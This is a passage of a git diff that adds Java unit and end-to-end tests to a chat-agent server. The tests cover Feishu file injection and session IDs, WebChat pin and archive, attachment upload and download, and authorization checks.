= tmp; + + List parts = new ArrayList<>(); + String original = "帮我看看"; + String text = a.injectRecentFiles("feishu:oc_empty", parts, original); + + assertTrue(parts.isEmpty()); + assertEquals(original, text); + } + + @Test + void injectRecentFiles_duplicatePathSkipped(@TempDir Path tmp) { + FeishuChannelAdapter a = newAdapter(); + a.chatUploadsRoot = tmp; + + String convId = "feishu:oc_dedup"; + String existingPath = "/some/path/file.pdf"; + a.recentFileCache.put(convId, List.of( + new FeishuChannelAdapter.RecentFileEntry("file.pdf", existingPath, + null, "application/pdf") + )); + + // part already carrying the same path + MessageContentPart existing = MessageContentPart.file("key", "file.pdf", null); + existing.setPath(existingPath); + List parts = new ArrayList<>(List.of(existing)); + + a.injectRecentFiles(convId, parts, ""); + + // size unchanged — duplicate suppressed + assertEquals(1, parts.size()); + } + + @Test + void injectRecentFiles_imageEntry_setsTypeImage(@TempDir Path tmp) { + FeishuChannelAdapter a = newAdapter(); + a.chatUploadsRoot = tmp; + + String convId = "feishu:oc_img"; + a.recentFileCache.put(convId, List.of( + new FeishuChannelAdapter.RecentFileEntry("photo.png", "/tmp/photo.png", + null, "image/png") + )); + + List parts = new ArrayList<>(); + a.injectRecentFiles(convId, parts, ""); + + assertEquals(1, parts.size()); + assertEquals("image", parts.get(0).getType()); + } + + @Test + void injectRecentFiles_nullTextContent_handledGracefully(@TempDir Path tmp) { + FeishuChannelAdapter a = newAdapter(); + a.chatUploadsRoot = tmp; + + String convId = "feishu:oc_nulltext"; + a.recentFileCache.put(convId, List.of( + new FeishuChannelAdapter.RecentFileEntry("data.csv", "/tmp/data.csv", + null, "text/csv") + )); + + List parts = new ArrayList<>(); + String text = a.injectRecentFiles(convId, parts, null); + + assertFalse(text.isBlank()); + assertTrue(text.contains("data.csv")); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/channel/feishu/FeishuSessionIdTest.java b/mateclaw-server/src/test/java/vip/mate/channel/feishu/FeishuSessionIdTest.java new file mode 100644 index 00000000..b09fcd18 --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/channel/feishu/FeishuSessionIdTest.java @@ -0,0 +1,99 @@ +package vip.mate.channel.feishu; + +import com.fasterxml.jackson.databind.ObjectMapper; +import org.junit.jupiter.api.Test; +import vip.mate.channel.ChannelMessageRouter; +import vip.mate.channel.model.ChannelEntity; + +import static org.junit.jupiter.api.Assertions.*; +import static org.mockito.Mockito.mock; +import static org.mockito.Mockito.when; + +/** + * #299:群会话 ID 改用完整 chatId 避免后缀碰撞,存量旧会话用读时别名回退(不重写)。 + */ +class FeishuSessionIdTest { + + private static final String CHANNEL = FeishuChannelAdapter.CHANNEL_TYPE; // "feishu" + private static final String APP_ID = "cli_a1b2c3d4e5f6"; + + // ==================== legacyGroupSuffix:旧后缀算法 + 碰撞演示 ==================== + + @Test + void legacySuffix_format_appLast4UnderscoreChatLast8() { + FeishuChannelAdapter adapter = newAdapter(mock(ChannelMessageRouter.class)); + // appId 后 4 = "e5f6"; chatId 后 8 = "11112222" + assertEquals("e5f6_11112222", adapter.legacyGroupSuffix("oc_aaaa11112222")); + } + + @Test + void legacySuffix_collides_whileFullChatIdDoesNot() { + FeishuChannelAdapter adapter = newAdapter(mock(ChannelMessageRouter.class)); + String chatA = "oc_AAAA_11112222"; + String chatB = "oc_BBBB_11112222"; // 不同群,但 chatId 后 8 位相同 + // 旧后缀碰撞(这正是 #299 要修的 bug)…… + assertEquals(adapter.legacyGroupSuffix(chatA), adapter.legacyGroupSuffix(chatB)); + // ……而完整 chatId 不碰撞。 + assertNotEquals(chatA, chatB); + } + + // ==================== pickGroupSessionSuffix:纯选择逻辑 ==================== + + @Test + void pick_newGroup_neitherExists_usesCanonical() { + assertEquals("oc_full", FeishuChannelAdapter.pickGroupSessionSuffix( + "oc_full", "e5f6_ocfull99", false, false)); + } + + @Test + void pick_canonicalAlreadyExists_usesCanonical() { + assertEquals("oc_full", FeishuChannelAdapter.pickGroupSessionSuffix( + "oc_full", "e5f6_ocfull99", true, false)); + } + + @Test + void pick_onlyLegacyExists_reusesLegacy() { + assertEquals("e5f6_ocfull99", FeishuChannelAdapter.pickGroupSessionSuffix( + "oc_full", "e5f6_ocfull99", false, true)); + } + + // ==================== resolveGroupSessionSuffix:读时别名回退(含路由查找) ==================== + + @Test + void resolve_newGroup_returnsFullChatId() { + ChannelMessageRouter router = mock(ChannelMessageRouter.class); + when(router.conversationExists(org.mockito.ArgumentMatchers.anyString())).thenReturn(false); + FeishuChannelAdapter adapter = newAdapter(router); + assertEquals("oc_aaaa11112222", adapter.resolveGroupSessionSuffix("oc_aaaa11112222")); + } + + @Test + void resolve_canonicalExists_returnsFullChatId() { + ChannelMessageRouter router = mock(ChannelMessageRouter.class); + when(router.conversationExists(CHANNEL + ":oc_aaaa11112222")).thenReturn(true); + FeishuChannelAdapter adapter = newAdapter(router); + assertEquals("oc_aaaa11112222", adapter.resolveGroupSessionSuffix("oc_aaaa11112222")); + } + + @Test + void resolve_legacyConversationExists_reusesLegacyId() { + ChannelMessageRouter router = mock(ChannelMessageRouter.class); + when(router.conversationExists(CHANNEL + ":oc_aaaa11112222")).thenReturn(false); + when(router.conversationExists(CHANNEL + ":e5f6_11112222")).thenReturn(true); + FeishuChannelAdapter adapter = newAdapter(router); + // 存量群:canonical 无、legacy 有 → 沿用 legacy,历史无缝延续。 + assertEquals("e5f6_11112222", adapter.resolveGroupSessionSuffix("oc_aaaa11112222")); + } + + // ==================== helpers ==================== + + private static FeishuChannelAdapter newAdapter(ChannelMessageRouter router) { + ChannelEntity e = new ChannelEntity(); + e.setId(1L); + e.setChannelType("feishu"); + e.setConfigJson("{\"app_id\":\"" + APP_ID + "\",\"app_secret\":\"y\"}"); + return new FeishuChannelAdapter( + e, router, new ObjectMapper(), + null, null, null, null, null, null, null); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatArchivePinTest.java b/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatArchivePinTest.java new file mode 100644 index 00000000..dad31bdc --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatArchivePinTest.java @@ -0,0 +1,171 @@ +package vip.mate.channel.webchat; + +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.jdbc.core.JdbcTemplate; +import org.springframework.test.context.TestPropertySource; +import vip.mate.MateClawApplication; +import vip.mate.channel.webchat.WebChatController.WebChatCreateSessionRequest; +import vip.mate.channel.webchat.WebChatController.WebChatSessionView; +import vip.mate.common.result.R; + +import java.util.List; +import java.util.Map; + +import static org.assertj.core.api.Assertions.assertThat; + +/** + * End-to-end verification of the pin and archive endpoints (epic #355 PR 3). + * Both endpoints share the same shape (PUT with {flag: true|false} body + + * query visitorId/sessionId) and the same auth chain as the other session + * mutations. Tests assert the persisted column flips AND that + * {@link WebChatController#listSessions} reflects the change accordingly. + */ +@SpringBootTest( + classes = MateClawApplication.class, + webEnvironment = SpringBootTest.WebEnvironment.NONE +) +@TestPropertySource(properties = { + "spring.datasource.url=jdbc:h2:mem:webchat_pinarch_${random.uuid};MODE=MySQL;DATABASE_TO_LOWER=TRUE;CASE_INSENSITIVE_IDENTIFIERS=TRUE;DB_CLOSE_DELAY=-1", + "spring.ai.dashscope.api-key=test-key", + "spring.main.web-application-type=none", + "mateclaw.jwt.secret=webchat-it-secret-0123456789" +}) +class WebChatArchivePinTest { + + private static final String SECRET = "webchat-it-secret-0123456789"; + private static final String API_KEY = "testkey1abcdefgh"; + private static final long CHANNEL_ID = 9_147_501L; + private static final long AGENT_ID = 9_147_5011L; + + @Autowired private WebChatController controller; + @Autowired private JdbcTemplate jdbc; + + @BeforeEach + void setUp() { + jdbc.update("DELETE FROM mate_channel WHERE id = ?", CHANNEL_ID); + jdbc.update("DELETE FROM mate_agent WHERE id = ?", AGENT_ID); + jdbc.update( + "MERGE INTO mate_agent (id, name, agent_type, system_prompt, max_iterations, enabled, " + + "workspace_id, create_time, update_time, deleted) " + + "KEY(id) VALUES (?, 'wc-pinarch-agent', 'react', '', 10, TRUE, 1, " + + "CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + AGENT_ID); + jdbc.update("INSERT INTO mate_channel (id, name, channel_type, agent_id, config_json, enabled, " + + "workspace_id, create_time, update_time, deleted) " + + "VALUES (?, 'wc', 'webchat', ?, ?, TRUE, 1, CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + CHANNEL_ID, AGENT_ID, "{\"api_key\":\"" + API_KEY + "\"}"); + } + + private WebChatCreateSessionRequest req(String visitorId, String sessionId) { + WebChatCreateSessionRequest r = new WebChatCreateSessionRequest(); + r.setVisitorId(visitorId); + r.setSessionId(sessionId); + return r; + } + + private String tokenFor(String visitorId) { + return WebChatController.computeVisitorToken(SECRET, CHANNEL_ID, visitorId); + } + + @Test + @DisplayName("PUT /sessions/pinned flips the column + view reports pinned=1") + void pinFlipsColumn() { + controller.createSession(API_KEY, req("vPin", "s1")); + String cid = WebChatController.deriveConversationId(API_KEY, "vPin", "s1"); + + R r = controller.pinSession(API_KEY, tokenFor("vPin"), "vPin", "s1", + Map.of("pinned", true)); + assertThat(r.getCode()).isEqualTo(200); + + Integer col = jdbc.queryForObject( + "SELECT pinned FROM mate_conversation WHERE conversation_id = ?", + Integer.class, cid); + assertThat(col).isEqualTo(1); + + @SuppressWarnings("unchecked") + R> list = (R>) (R) + controller.listSessions(API_KEY, tokenFor("vPin"), "vPin", false); + assertThat(list.getData().get(0).getPinned()).isEqualTo(1); + } + + @Test + @DisplayName("PUT /sessions/archive hides the thread from default listing") + void archiveHidesFromDefaultListing() { + controller.createSession(API_KEY, req("vArch", "s1")); + + R r = controller.archiveSession(API_KEY, tokenFor("vArch"), "vArch", "s1", + Map.of("archived", true)); + assertThat(r.getCode()).isEqualTo(200); + + // Default listing: empty. + @SuppressWarnings("unchecked") + R> def = (R>) (R) + controller.listSessions(API_KEY, tokenFor("vArch"), "vArch", false); + assertThat(def.getData()).isEmpty(); + + // includeArchived=true: shows up with archived=1. + @SuppressWarnings("unchecked") + R> all = (R>) (R) + controller.listSessions(API_KEY, tokenFor("vArch"), "vArch", true); + assertThat(all.getData()).hasSize(1); + assertThat(all.getData().get(0).getArchived()).isEqualTo(1); + + // Un-archive restores visibility. + controller.archiveSession(API_KEY, tokenFor("vArch"), "vArch", "s1", + Map.of("archived", false)); + @SuppressWarnings("unchecked") + R> back = (R>) (R) + controller.listSessions(API_KEY, tokenFor("vArch"), "vArch", false); + assertThat(back.getData()).hasSize(1); + } + + @Test + @DisplayName("archived + pinned thread still hidden by default (archive dominates)") + void archiveDominatesPin() { + controller.createSession(API_KEY, req("vBoth", "s1")); + controller.pinSession(API_KEY, tokenFor("vBoth"), "vBoth", "s1", + Map.of("pinned", true)); + controller.archiveSession(API_KEY, tokenFor("vBoth"), "vBoth", "s1", + Map.of("archived", true)); + + @SuppressWarnings("unchecked") + R> def = (R>) (R) + controller.listSessions(API_KEY, tokenFor("vBoth"), "vBoth", false); + assertThat(def.getData()).isEmpty(); + } + + @Test + @DisplayName("missing or wrong-typed body → 400") + void rejectsMalformedBody() { + controller.createSession(API_KEY, req("vBad", "s1")); + // Wrong type: + R r1 = controller.pinSession(API_KEY, tokenFor("vBad"), "vBad", "s1", + Map.of("pinned", "yes")); + assertThat(r1.getCode()).isEqualTo(400); + // Wrong key: + R r2 = controller.archiveSession(API_KEY, tokenFor("vBad"), "vBad", "s1", + Map.of("flag", true)); + assertThat(r2.getCode()).isEqualTo(400); + } + + @Test + @DisplayName("unknown sessionId → 404 (no probing)") + void rejectsUnknownSession() { + R r = controller.pinSession(API_KEY, tokenFor("vGhost"), "vGhost", "ghost", + Map.of("pinned", true)); + assertThat(r.getCode()).isEqualTo(404); + } + + @Test + @DisplayName("bad token → 401") + void rejectsBadToken() { + controller.createSession(API_KEY, req("vTok", "s1")); + R r = controller.archiveSession(API_KEY, "bogus", "vTok", "s1", + Map.of("archived", true)); + assertThat(r.getCode()).isEqualTo(401); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatAttachmentE2ETest.java b/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatAttachmentE2ETest.java new file mode 100644 index 00000000..a41140de --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatAttachmentE2ETest.java @@ -0,0 +1,418 @@ +package vip.mate.channel.webchat; + +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.boot.test.mock.mockito.MockBean; +import org.springframework.boot.test.web.server.LocalServerPort; +import org.springframework.jdbc.core.JdbcTemplate; +import org.springframework.test.context.TestPropertySource; +import reactor.core.publisher.Flux; +import vip.mate.MateClawApplication; +import vip.mate.agent.AgentService; +import vip.mate.agent.model.AgentEntity; + +import java.io.ByteArrayOutputStream; +import java.io.IOException; +import java.net.URI; +import java.net.http.HttpClient; +import java.net.http.HttpRequest; +import java.net.http.HttpResponse; +import java.nio.charset.StandardCharsets; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.Paths; +import java.time.Duration; +import java.util.Comparator; +import java.util.Map; +import java.util.stream.Stream; + +import static org.assertj.core.api.Assertions.assertThat; +import static org.mockito.ArgumentMatchers.any; +import static org.mockito.ArgumentMatchers.anyString; +import static org.mockito.ArgumentMatchers.eq; +import static org.mockito.ArgumentMatchers.isNull; + +/** + * End-to-end HTTP coverage of the WebChat attachment flow (epic #355 follow-up): + *
      + *
    1. {@code POST /upload} stores bytes under the server-derived conversation dir + * and returns an opaque {@code fileId}; the bytes are addressable by the + * agent through the conversation's upload path;
    2. + *
    3. {@code POST /stream} with {@code attachmentIds=[fileId]} resolves that id + * back to a server path and persists a user message whose {@code content_parts} + * carry the path so the agent's file tools can read it on the next turn.
    4. + *
    + * + *

    Boots a real servlet container (RANDOM_PORT), drives the actual multipart + * parser, and asserts on the persisted {@code mate_message.content_parts} JSON — + * the in-memory {@link WebChatFileServiceTest} already covers the service's + * validation, so this layer's job is the cross-endpoint wiring + auth contract. + * + *

    {@link AgentService} is mocked (same pattern as {@link WebChatStreamE2ETest}) + * so /stream returns immediately without invoking a real agent — what we are + * asserting is the persisted user-message shape, not the agent's actual file + * consumption (which would need a real agent + tool runtime). + * + * @author MateClaw Team + */ +@SpringBootTest( + classes = MateClawApplication.class, + webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT +) +@TestPropertySource(properties = { + "spring.datasource.url=jdbc:h2:mem:webchat_att_e2e_${random.uuid};MODE=MySQL;DATABASE_TO_LOWER=TRUE;CASE_INSENSITIVE_IDENTIFIERS=TRUE;DB_CLOSE_DELAY=-1", + "spring.ai.dashscope.api-key=test-key", + "mateclaw.jwt.secret=webchat-it-secret-0123456789", + "mateclaw.feature-flag.refresh-ms=999999" +}) +class WebChatAttachmentE2ETest { + + private static final String SECRET = "webchat-it-secret-0123456789"; + private static final String API_KEY = "testkey1atte2e01"; // key8 = "testkey1" + private static final long CHANNEL_ID = 9_148_101L; + private static final long AGENT_ID = 9_148_1011L; + private static final Duration HTTP_TIMEOUT = Duration.ofSeconds(15); + + /** + * Wipe the upload dir for our test conversation ids. The path is deterministic + * from the API key prefix, so we can clean it precisely instead of nuking + * the whole {@code data/chat-uploads} tree. + */ + private static final Path UPLOAD_ROOT = Paths.get("data", "chat-uploads"); + + @LocalServerPort private int port; + @Autowired private JdbcTemplate jdbc; + + @MockBean private AgentService agentService; + + private HttpClient http; + + @BeforeEach + void setUp() { + http = HttpClient.newBuilder().connectTimeout(Duration.ofSeconds(5)).build(); + + jdbc.update("DELETE FROM mate_channel WHERE id = ?", CHANNEL_ID); + jdbc.update("DELETE FROM mate_agent WHERE id = ?", AGENT_ID); + jdbc.update( + "MERGE INTO mate_agent (id, name, agent_type, system_prompt, max_iterations, enabled, " + + "workspace_id, create_time, update_time, deleted) " + + "KEY(id) VALUES (?, 'wc-att-agent', 'react', '', 10, TRUE, 1, " + + "CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + AGENT_ID); + jdbc.update("INSERT INTO mate_channel (id, name, channel_type, agent_id, config_json, enabled, " + + "workspace_id, create_time, update_time, deleted) " + + "VALUES (?, 'wc', 'webchat', ?, ?, TRUE, 1, CURRENT_TIMESTAMP, CURRENT_TIMESTAMP, 0)", + CHANNEL_ID, AGENT_ID, "{\"api_key\":\"" + API_KEY + "\"}"); + + // chatStructuredStream: instant completion so /stream returns fast. + AgentEntity agent = new AgentEntity(); + agent.setId(AGENT_ID); + agent.setWorkspaceId(1L); + org.mockito.Mockito.when(agentService.getAgent(AGENT_ID)).thenReturn(agent); + org.mockito.Mockito.when(agentService.chatStructuredStream( + eq(AGENT_ID), anyString(), anyString(), anyString(), isNull(), any())) + .thenReturn(Flux.just(new AgentService.StreamDelta("ack", null))); + } + + // ==================== multipart helpers ==================== + + /** Build a multipart/form-data body with one file part plus arbitrary form fields. */ + private static byte[] multipart(String boundary, Map fields, + String fileField, String fileName, String contentType, byte[] fileBytes) { + ByteArrayOutputStream bos = new ByteArrayOutputStream(); + String crlf = "\r\n"; + String dash = "--"; + try { + for (var e : fields.entrySet()) { + write(bos, dash + boundary + crlf); + write(bos, "Content-Disposition: form-data; name=\"" + e.getKey() + "\"" + crlf); + write(bos, crlf); + write(bos, e.getValue() + crlf); + } + write(bos, dash + boundary + crlf); + write(bos, "Content-Disposition: form-data; name=\"" + fileField + "\"; filename=\"" + + fileName + "\"" + crlf); + write(bos, "Content-Type: " + contentType + crlf); + write(bos, crlf); + bos.write(fileBytes); + write(bos, crlf); + write(bos, dash + boundary + dash + crlf); + } catch (IOException e) { + throw new IllegalStateException(e); + } + return bos.toByteArray(); + } + + private static void write(ByteArrayOutputStream bos, String s) throws IOException { + bos.write(s.getBytes(StandardCharsets.UTF_8)); + } + + // ==================== HTTP helpers ==================== + + private URI uploadUri() { + return URI.create("http://localhost:" + port + "/api/v1/channels/webchat/upload"); + } + + private URI streamUri() { + return URI.create("http://localhost:" + port + "/api/v1/channels/webchat/stream"); + } + + private URI filesUri(String storedName, String visitorId, String sessionId) { + StringBuilder sb = new StringBuilder("http://localhost:" + port + "/api/v1/channels/webchat/files"); + sb.append("?storedName=").append(java.net.URLEncoder.encode(storedName, StandardCharsets.UTF_8)); + sb.append("&visitorId=").append(java.net.URLEncoder.encode(visitorId, StandardCharsets.UTF_8)); + if (sessionId != null) { + sb.append("&sessionId=").append(java.net.URLEncoder.encode(sessionId, StandardCharsets.UTF_8)); + } + return URI.create(sb.toString()); + } + + private String tokenFor(String visitorId) { + return WebChatController.computeVisitorToken(SECRET, CHANNEL_ID, visitorId); + } + + /** Upload, return the parsed fileId (or fail loudly if the response isn't 200). */ + private String upload(String visitorId, String sessionId, String fileName, + String contentType, byte[] bytes) throws Exception { + String boundary = "----mcboundary" + System.nanoTime(); + String token = tokenFor(visitorId); + Map fields = new java.util.LinkedHashMap<>(); + fields.put("visitorId", visitorId); + if (sessionId != null) fields.put("sessionId", sessionId); + byte[] body = multipart(boundary, fields, "file", fileName, contentType, bytes); + + HttpRequest req = HttpRequest.newBuilder() + .uri(uploadUri()) + .timeout(HTTP_TIMEOUT) + .header("X-MC-Key", API_KEY) + .header("X-MC-Visitor-Token", token) + .header("Content-Type", "multipart/form-data; boundary=" + boundary) + .POST(HttpRequest.BodyPublishers.ofByteArray(body)) + .build(); + + HttpResponse resp = http.send(req, HttpResponse.BodyHandlers.ofString(StandardCharsets.UTF_8)); + assertThat(resp.statusCode()).as("upload response: %s", resp.body()).isEqualTo(200); + // Response shape: {"code":200,...,"data":{"fileId":"...","fileName":"...",...}} + String fileId = extractStringField(resp.body(), "fileId"); + assertThat(fileId).isNotBlank(); + return fileId; + } + + /** POST /stream with the given message + attachmentIds; drain SSE until done. */ + private void stream(String visitorId, String sessionId, String message, String attachmentJson) throws Exception { + String attachmentField = attachmentJson == null ? "" : ",\"attachmentIds\":" + attachmentJson; + String sessionField = sessionId == null ? "" : ",\"sessionId\":\"" + sessionId + "\""; + String body = "{\"message\":\"" + message + "\",\"visitorId\":\"" + visitorId + "\"" + + sessionField + attachmentField + "}"; + HttpRequest req = HttpRequest.newBuilder() + .uri(streamUri()) + .timeout(HTTP_TIMEOUT) + .header("X-MC-Key", API_KEY) + .header("Content-Type", "application/json") + .header("Accept", "text/event-stream") + .POST(HttpRequest.BodyPublishers.ofString(body, StandardCharsets.UTF_8)) + .build(); + HttpResponse resp = http.send(req, HttpResponse.BodyHandlers.ofInputStream()); + // Drain to done so the request completes within the test. + try (var is = resp.body(); + var reader = new java.io.BufferedReader(new java.io.InputStreamReader(is, StandardCharsets.UTF_8))) { + String line; + while ((line = reader.readLine()) != null) { + if (line.startsWith("event:done")) break; + } + } + } + + /** Pull the persisted user message's raw content_parts JSON for this conversation. */ + private String lastUserContentParts(String conversationId) { + return jdbc.queryForObject( + "SELECT content_parts FROM mate_message WHERE conversation_id = ? AND role = 'user' " + + "ORDER BY create_time DESC, id DESC LIMIT 1", + String.class, conversationId); + } + + /** Naive JSON string-field extractor — avoids pulling in Jackson in the test body. */ + private static String extractStringField(String json, String fieldName) { + String key = "\"" + fieldName + "\":\""; + int i = json.indexOf(key); + if (i < 0) return null; + int start = i + key.length(); + int end = json.indexOf('"', start); + return end < 0 ? null : json.substring(start, end); + } + + // ==================== cleanup ==================== + + @org.junit.jupiter.api.AfterEach + void cleanUploadDirs() throws IOException { + // Only the convs under our key8 prefix are ours; safe to wipe. + Path root = UPLOAD_ROOT.resolve("webchat:testkey1"); + if (Files.exists(root)) { + try (Stream walk = Files.walk(root)) { + walk.sorted(Comparator.reverseOrder()).forEach(p -> { + try { Files.deleteIfExists(p); } catch (IOException ignored) { } + }); + } + } + } + + // ==================== tests ==================== + + @Test + @DisplayName("upload + /stream round-trip: user message content_parts carries the file path") + void uploadThenStreamAttachesPath() throws Exception { + String visitorId = "vAtt-roundtrip"; + String sessionId = "s-att-1"; + String fileBody = "hello attachment e2e"; + String fileId = upload(visitorId, sessionId, "note.txt", "text/plain", fileBody.getBytes(StandardCharsets.UTF_8)); + + stream(visitorId, sessionId, "please read the attached", "[\"" + fileId + "\"]"); + + String cid = WebChatController.deriveConversationId(API_KEY, visitorId, sessionId); + String parts = lastUserContentParts(cid); + assertThat(parts).isNotNull(); + // Text part is present. + assertThat(parts).contains("\"type\":\"text\""); + assertThat(parts).contains("please read the attached"); + // File part is present with the server path resolved. + assertThat(parts).contains("\"type\":\"file\""); + assertThat(parts).contains("\"fileName\":\"note.txt\""); + assertThat(parts).contains("\"contentType\":\"text/plain\""); + assertThat(parts).contains("\"path\":\""); + // Path points into the conversation's upload dir on disk. + String path = extractStringField(parts, "path"); + assertThat(path).contains(cid); + assertThat(Files.isRegularFile(Path.of(path))).isTrue(); + // The bytes on disk match what we uploaded. + assertThat(Files.readString(Path.of(path))).isEqualTo(fileBody); + } + + @Test + @DisplayName("unknown attachmentId is silently dropped — no error, user message has text only") + void unknownAttachmentIdDropped() throws Exception { + String visitorId = "vAtt-unknown"; + stream(visitorId, null, "hello", "[\"totally-bogus-file-id\"]"); + + String cid = WebChatController.deriveConversationId(API_KEY, visitorId, null); + String parts = lastUserContentParts(cid); + assertThat(parts).isNotNull(); + assertThat(parts).contains("\"type\":\"text\""); + // No file part at all. + assertThat(parts).doesNotContain("\"type\":\"file\""); + } + + @Test + @DisplayName("foreign visitor cannot reference another visitor's attachmentId") + void foreignAttachmentIdDropped() throws Exception { + // visitor A uploads legitimately. + String visitorA = "vAtt-alice"; + String visitorB = "vAtt-bob"; + String aliceFileId = upload(visitorA, null, "alice.txt", "text/plain", + "alice's secret".getBytes(StandardCharsets.UTF_8)); + + // visitor B references alice's fileId — should be silently dropped. + stream(visitorB, null, "trying to grab alice's file", "[\"" + aliceFileId + "\"]"); + + // B's conversation's user message has no file part. + String bobCid = WebChatController.deriveConversationId(API_KEY, visitorB, null); + String bobParts = lastUserContentParts(bobCid); + assertThat(bobParts).doesNotContain("\"type\":\"file\""); + // Alice's conversation is untouched — no user message there at all. + String aliceCid = WebChatController.deriveConversationId(API_KEY, visitorA, null); + Integer aliceMsgCount = jdbc.queryForObject( + "SELECT COUNT(*) FROM mate_message WHERE conversation_id = ? AND role = 'user'", + Integer.class, aliceCid); + assertThat(aliceMsgCount).isZero(); + } + + @Test + @DisplayName("upload without visitorToken → HTTP 401 (RHttpStatusAdvice maps R.code to status)") + void uploadRequiresVisitorToken() throws Exception { + String boundary = "----mcboundary" + System.nanoTime(); + byte[] body = multipart(boundary, Map.of("visitorId", "vAtt-notoken"), + "file", "x.txt", "text/plain", "x".getBytes(StandardCharsets.UTF_8)); + HttpRequest req = HttpRequest.newBuilder() + .uri(uploadUri()) + .timeout(HTTP_TIMEOUT) + .header("X-MC-Key", API_KEY) + // No X-MC-Visitor-Token + .header("Content-Type", "multipart/form-data; boundary=" + boundary) + .POST(HttpRequest.BodyPublishers.ofByteArray(body)) + .build(); + HttpResponse resp = http.send(req, HttpResponse.BodyHandlers.ofString(StandardCharsets.UTF_8)); + assertThat(resp.statusCode()).isEqualTo(401); + assertThat(resp.body()).contains("\"code\":401"); + assertThat(resp.body()).contains("Invalid or missing visitor token"); + } + + @Test + @DisplayName("upload with disallowed extension → HTTP 400") + void uploadRejectsDisallowedExtension() throws Exception { + String boundary = "----mcboundary" + System.nanoTime(); + byte[] body = multipart(boundary, Map.of("visitorId", "vAtt-badext"), + "file", "evil.exe", "application/octet-stream", new byte[]{1, 2, 3}); + HttpRequest req = HttpRequest.newBuilder() + .uri(uploadUri()) + .timeout(HTTP_TIMEOUT) + .header("X-MC-Key", API_KEY) + .header("X-MC-Visitor-Token", tokenFor("vAtt-badext")) + .header("Content-Type", "multipart/form-data; boundary=" + boundary) + .POST(HttpRequest.BodyPublishers.ofByteArray(body)) + .build(); + HttpResponse resp = http.send(req, HttpResponse.BodyHandlers.ofString(StandardCharsets.UTF_8)); + assertThat(resp.statusCode()).isEqualTo(400); + assertThat(resp.body()).contains("File type not allowed"); + } + + @Test + @DisplayName("GET /files streams back the uploaded bytes") + void downloadReturnsUploadedBytes() throws Exception { + String visitorId = "vAtt-download"; + String sessionId = "s-dl-1"; + byte[] payload = "download me".getBytes(StandardCharsets.UTF_8); + String fileId = upload(visitorId, sessionId, "payload.txt", "text/plain", payload); + + // /stream must consume the staged file first; download's ownsConversation + // guard also needs the conversation row to exist. sessionId MUST be + // threaded through /files too — the controller recomputes conversationId + // from (apiKey, visitorId, sessionId) so a missing sid maps to a + // different namespace than where the upload lives. + stream(visitorId, sessionId, "first message", "[\"" + fileId + "\"]"); + + HttpRequest req = HttpRequest.newBuilder() + .uri(filesUri(fileId, visitorId, sessionId)) + .timeout(HTTP_TIMEOUT) + .header("X-MC-Key", API_KEY) + .header("X-MC-Visitor-Token", tokenFor(visitorId)) + .GET() + .build(); + HttpResponse resp = http.send(req, HttpResponse.BodyHandlers.ofByteArray()); + assertThat(resp.statusCode()).isEqualTo(200); + assertThat(resp.body()).isEqualTo(payload); + assertThat(resp.headers().firstValue("Content-Type").orElse("")) + .contains("text/plain"); + } + + @Test + @DisplayName("GET /files without visitorToken → 401") + void downloadRequiresVisitorToken() throws Exception { + String visitorId = "vAtt-dl-notoken"; + String sessionId = "s-dl-2"; + String fileId = upload(visitorId, sessionId, "x.txt", "text/plain", + "x".getBytes(StandardCharsets.UTF_8)); + stream(visitorId, sessionId, "first", "[\"" + fileId + "\"]"); + + HttpRequest req = HttpRequest.newBuilder() + .uri(filesUri(fileId, visitorId, sessionId)) + .timeout(HTTP_TIMEOUT) + .header("X-MC-Key", API_KEY) + // No X-MC-Visitor-Token + .GET() + .build(); + HttpResponse resp = http.send(req, HttpResponse.BodyHandlers.discarding()); + assertThat(resp.statusCode()).isEqualTo(401); + } +} diff --git a/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatAuditTrailTest.java b/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatAuditTrailTest.java new file mode 100644 index 00000000..b47f2fda --- /dev/null +++ b/mateclaw-server/src/test/java/vip/mate/channel/webchat/WebChatAuditTrailTest.java @@ -0,0 +1,117 @@ +package vip.mate.channel.webchat; + +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.DisplayName; +import org.junit.jupiter.api.Test; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.boot.test.context.SpringBootTest; +import org.springframework.jdbc.core.JdbcTemplate; +import org.springframework.test.context.TestPropertySource; +import vip.mate.MateClawApplication; +import vip.mate.channel.webchat.WebChatController.WebChatCreateSessionRequest; +import vip.mate.common.result.R; + +import java.util.Map; + +import static org.assertj.core.api.Assertions.assertThat; + +/** + * Verifies every visitor-side write lands in {@code mate_audit_event} with + * the right actor ({@code "webchat::"}) and action + * prefix ({@code webchat.*}). + * + *

